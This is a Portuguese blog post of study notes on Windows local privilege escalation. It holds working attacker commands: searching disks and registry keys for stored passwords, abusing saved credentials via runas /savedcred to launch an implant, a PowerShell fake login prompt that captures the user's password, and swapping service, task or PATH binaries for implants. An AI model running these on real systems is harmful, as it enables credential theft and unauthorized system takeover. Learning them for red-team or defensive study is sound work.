Geleia Cybersecurity professional

windows local priv-esc


Windows LPE notes…

- Pri-esc base:
  1. Pegar SYSTEM perm
  2. Assumir outro usuário
  3. Mudar integrity levels
  4. Tirar proveito de tokens
  5. Ganhar mais privilégios  
  • De um lado temos os resources do sistema como arquivos, diretórios ou registries. E ous outros são usuários/process que desejam utilizar esses recursos…

  • Entre resouces e process temos a divisão do sistema em que os process podem acessar qual recurso … Como o acesso aos recursos é concedido ou negado ?? Então quando um resource possui o SECURITY DESCRIPTOR que é composto por OWNER, GROUP e ACLs que descrevem quem pode ou não acessar os resources. Por outro lado, os process usam tokens de acesso que são objects dedicados que descrevem a identidade do usuário. E o SECURITY REFERENCE MONITOR no Kernel verifica até mesmo a call de um process específico para um acesso específico é permitida ou não. Primeiro é verificado o INTEGRITY LEVEL depois é verificado o OWNER e a ACL do resource.

  • O process e os threads herdam um token dos parent process. Os Tokens de Acesso são a base de todas as autorizações ou “decisões” no sistema, concedidas ao usuário autorizado pelo LASS. Cada token de acesso inclui o CID dos usuários.
  • Primary Tokens = default security information of process or thread.
  • Impersonation Tokens = permite realizar operações utilizando token de acesso de outro usuário.

  • PRIVILEGIES e ACCESS RIGHTS tem duas diferenças principais: Privilegies controlam o acesso a tarefas relacionadas ao sistema e Access Rights controlam o acesso a objects. A segunda diferença é que os Privilegies são atribuídos a contas de usuário/grupo e os Access Rights atribuídos a ACLs de objetos.
- Privilegies:
  - Atribuido a users e groups
  - operações no sistema:
    - instalar/carregar drives
    - shutdown
    - mudar timezone


- Access Rights:
  - Atrbuido a Objects ACL
  - Acessar Objects protegidos:
    - arquivos/pastas, registry keys, services, network shares, access tokens...
  • O User Access control (UAC) é um componente fundamental da visão geral de segurança da MS. O UAC ajuda a mitigar o impacto de malwares.

Cada aplicativo que requer o administrator access token deve solicitar-lo. A única exceção é o relacionamento que existe entre parent processes. Os Child Processes herdam o acess token do parent process. Entretanto, os parents e child process devem ter o mesmo Integrity Level. O Windows protege processes marcando seus integrity levels. Os Integrity Levels são medidas de confiança. Um programa integrity “alta” é aquele que executa tarefas que modificam dados do sistema, como um programa de particionamento de disco, enquanto um programa de integrity “baixa” é aquele que executa tarefas que podem comprometer o sistema operacional, como um navegador da Web. Programas com integrity level mais baixos não podem modificar dados em programas com integrity levels mais altos. Quando um usuário padrão tenta executar um programa que requer um access token de administrator, o UAC exige que o usuário forneça credenciais de administrador válidas.

fonte: https://docs.microsoft.com/en-us/windows/security/identity-protection/user-account-control/user-account-control-overview

READ/REFS


Gathering Creds

Procurando senhas em plaintext

  • lista todos os diretorios a partir do c:\
  • C:\> dir /b /a /s c:\ > output.txt
    • em um cenário real você faz download do arquivo para a attack machine e analisa “offline”
  • Filtra por arquivos com nome “passw”
  • C:\> type output.txt | findstr /i passw

https://learn.microsoft.com/en-us/windows-server/administration/windows-commands/dir#examples

Nomes e Extenções de arquivos interessantes para verificar

  • Extenções: install, backup, .bak, .log, .bat, .cmd, .vbs, .cnf, .conf, .conf, ,ini, .xml, .txt, .gpg, .pgp, .p12, .der, .crs, .cer, id_rsa, id_dsa, .ovpn, vnc, ftp, ssh, vpn, git, .kdbx, .db

  • Arquivos: unattend.xml, Unattended.xml, sysprep.inf, sysprep.xml, VARIABLES.DAT, setupinfo, setupinfo.bak, web.config, SiteList.xml, .aws\credentials, .azure\accessTokens,json, .azure\azureProfile.json, gcloud\credentials.db, gcloud\legacy_credentials, gcloud\access_tokens.db

  • C:\> type output.txt | findstr /i algumas extenção

Arquivos nos Registries

  • reg query "HKCU\Software\ORL\WinVNC3\Passowrd"

  • reg query "HKCU\Software\TightVNC\Server"

  • reg query "HKCU\Software\SimonTatham\PuTTY\Sessions"

  • reg query "HKCU\Software\SimonTatham\PuTTY\Sessions\local"

  • reg query HKLM /f password /c REG_SZ /s

  • reg query HKLM /f password /c REG_SZ /s

Abusing Credential Manager

  • Credential Manager
    • O Credential Manager é uma espécie de cofre digital dentro do sistema Windows. O Windows armazena credenciais de registry, como usernames e senhas…
  • Do ponto de vista do invasor, geralmente você não tem acesso a uma GUI… Então você usa a linha de comando. Na linha de comando existe uma ferramenta chamada “cmdkey”.

    • O cmdkey também permite listar essas informações.
      • C:\> cmdkey /list
  • We can access actualy the Admin home directory and run processes as Admin:
    • C:\> runas /user:admin cmd.exe <===== precisa de admin pass

    • C:\> runas /savedcred /user:admin cmd.exe

      • windows vai até Credential Manager, verifica o usuário admin (consulta o banco de dados), extrai a senha do usuário admin e executa o processo. (execute como administrador com integrity level medium)
  • Podemos listar todos os diretórios aos quais não temos acesso.
    • C:\> runas /savedcred /user:admin "c:\windows\system32\cmd.exe /c dir /b /a /s c:\users\admin > c:\output-admin.txt"
      • em um cenário real você faz download do arquivo para a attack machine e analisa “offline”
  • Também podemos usar esse comando para rodar um implant:
    • C:\> runas /savedcred /user:admin "c:\path\to\implant.exe"

Extraindo creds do Credential Manager

  • Script from Empire…

  • C:> powershell import-module c:\path\to\cms.ps1 ; Enum-Creds

  • Cria um popup que pede a senha do usuário atual

  • C:\> powsershell "$cred = $host.ui.promptforcredential('Failed Authentication','',[Environment]::UserDomainName+'\'+[Environment]::Username,[Environment]::UserDomainName); $cred.getnetworkcredential().password"

  • C:\> powsershell "$cred = $host.ui.promptforcredential('Failed Authentication','',[Environment]::UserDomainName+'\'+'CHANGE THIS WITH OTHER USERNAME',[Environment]::UserDomainName); $cred.getnetworkcredential().password"


Insecured Objects (Non Admin Medium IL)

Insecured Services

A primeira tecnica é Insecure Service Path (unquoted and with spaces paths):

A segunda tecnica é de insecure config services ou weak services permission

A terceira tecnica é modificar permissões dos Registries (weak registry permissions)

Always Install Elevated

Always Install Elevated é uma configuração de registry/GPO que permite que contas não privilegiadas instalem arquivos MSI (Windows Package Installer) com permissões SYSTEM.

  • Opções para checar se existe a police
  • > SharpUp.exe audit AlwaysInstallElevated

  • reg query HKCU\SOFTWARE\Policies\Microsoft\Windows\Installer /v AlwaysInstallElevated
  • reg query HKLM\SOFTWARE\Policies\Microsoft\Windows\Installer /v AlwaysInstallElevated

Exploit Always Install Elevated


Execution Flow Hijacking

Unsecured File System

  • Busca em todo o disk C:\ por arquivos com perms read/write no grupo Users e Authenticated Users
  • accesschk.exe -accepteula -wus "Users" c:\*.* > output.txt
  • accesschk.exe -accepteula -wus "Authenticated Users" c:\*.* > auth-usr.txt
    • em um cenário real você faz download do arquivo para a attack machine e analisa “offiline”
  • Basicamente, procurando por paths de executaveis com perms read/write, a ideia é usar a tecnica de Execution Flow Hijacking https://attack.mitre.org/techniques/T1574/007/ para substituir um binario legitimo pelo implant. Fazendo com que o implant, quando executado, “chame” o binario legitimo depois de executar o payload em um processo diferente…

READ/REFS:

Explorando Env Vars paths (Path Interception by PATH Environment Variable)

  • Vendo as env vars
  • reg query "HKLM\SYSTEM\CurrentControlSet\Control\Session Manager\Environment" ou set

  • Checando perm de write no env PATH
  • icacls c:\rto\bin

  • Se houver um caminho controlável nesta lista colocado, você poderá fazer com que o sistema execute seus próprios binários em vez dos reais.
  • copy c:\implant\implant.exe c:\bin\notepad.exe

READ/REFS:

Explorando Services sem o binario no path

  • Buscando por services sem binario
  • c:\autorunsc64.exe -a s | more

  • Info do service
  • C:\> sc query <service-name> - lista services
  • C:\> sc qc <service-name> - info do service

  • Substituindo o binario
  • copy c:\implant\implantsrv.exe c:\path-to-service-sem-bin

  • restart no service:

  • sc stop <service-name> sc start <service-name>

Explorando Task sem binario no path

A ideia é a mesma do Service sem binario…

  • Buscando por Tasks sem bin:
  • c:\autorunsc64.exe -a s | more

  • Checando configs da Task:
  • schtasks /query /tn <task-name> /xml

Nas configs procure pelo <UserId> (CID) para verificar a qual user pertence a task. Olhe também as configs <LogonType> e <RunLevel> para mais info do user daquela task. Por ultimo, verifique a config <Triggers> que diz como aquela task é iniciada e com isso voĉe saberá como inicia-la.

  • Substituindo binario:
  • copy c:implant\implant.exe C:\path-to-service-sem-bin

  • Checando username do UserId (CID)
  • ````wmic useraccount where sid=’S-1-5-21-3461203602-4096304019-2269080069-1003’ get name ```

READ/REFS:

DLL Hijacking (for priv-esc)

O DLL Hijacking envolve a manipulação de um programa confiável para carregar uma DLL maliciosa. Existem varias táticas como DLL Spoofing, Injection e Side-Loading. É utilizado principalmente para execução de código, persistência e, menos comumente, priv-esc. E nesse caso aqui será para priv-esc…

  • Encontre em programa com DLL’s marcadas como NOT FOUND

  • Ache uma DLL para hijack

  • Depois procure pelas funções especificas que o programa tenta importar da DLL not found:
    • dump da import table
    • c:\ dumpbin imports c:\path_to_target_program
  • Sabendo as funções que um programa tenta importar você pode pesquisar pelo implementação dessa DLL e tentar hijack…
Sim, os requisitos são complicados de encontrar, pois por padrão é meio estranho encontrar um executável privilegiado sem uma dll e é ainda mais estranho ter permissões de gravação em uma pasta do caminho do sistema (você não pode por padrão). Mas, em ambientes mal configurados isso é possível.

READ/REFS:

UAC


Similar Posts

Artigo anterior recon for real

Próximo artigo windows post-exp

Content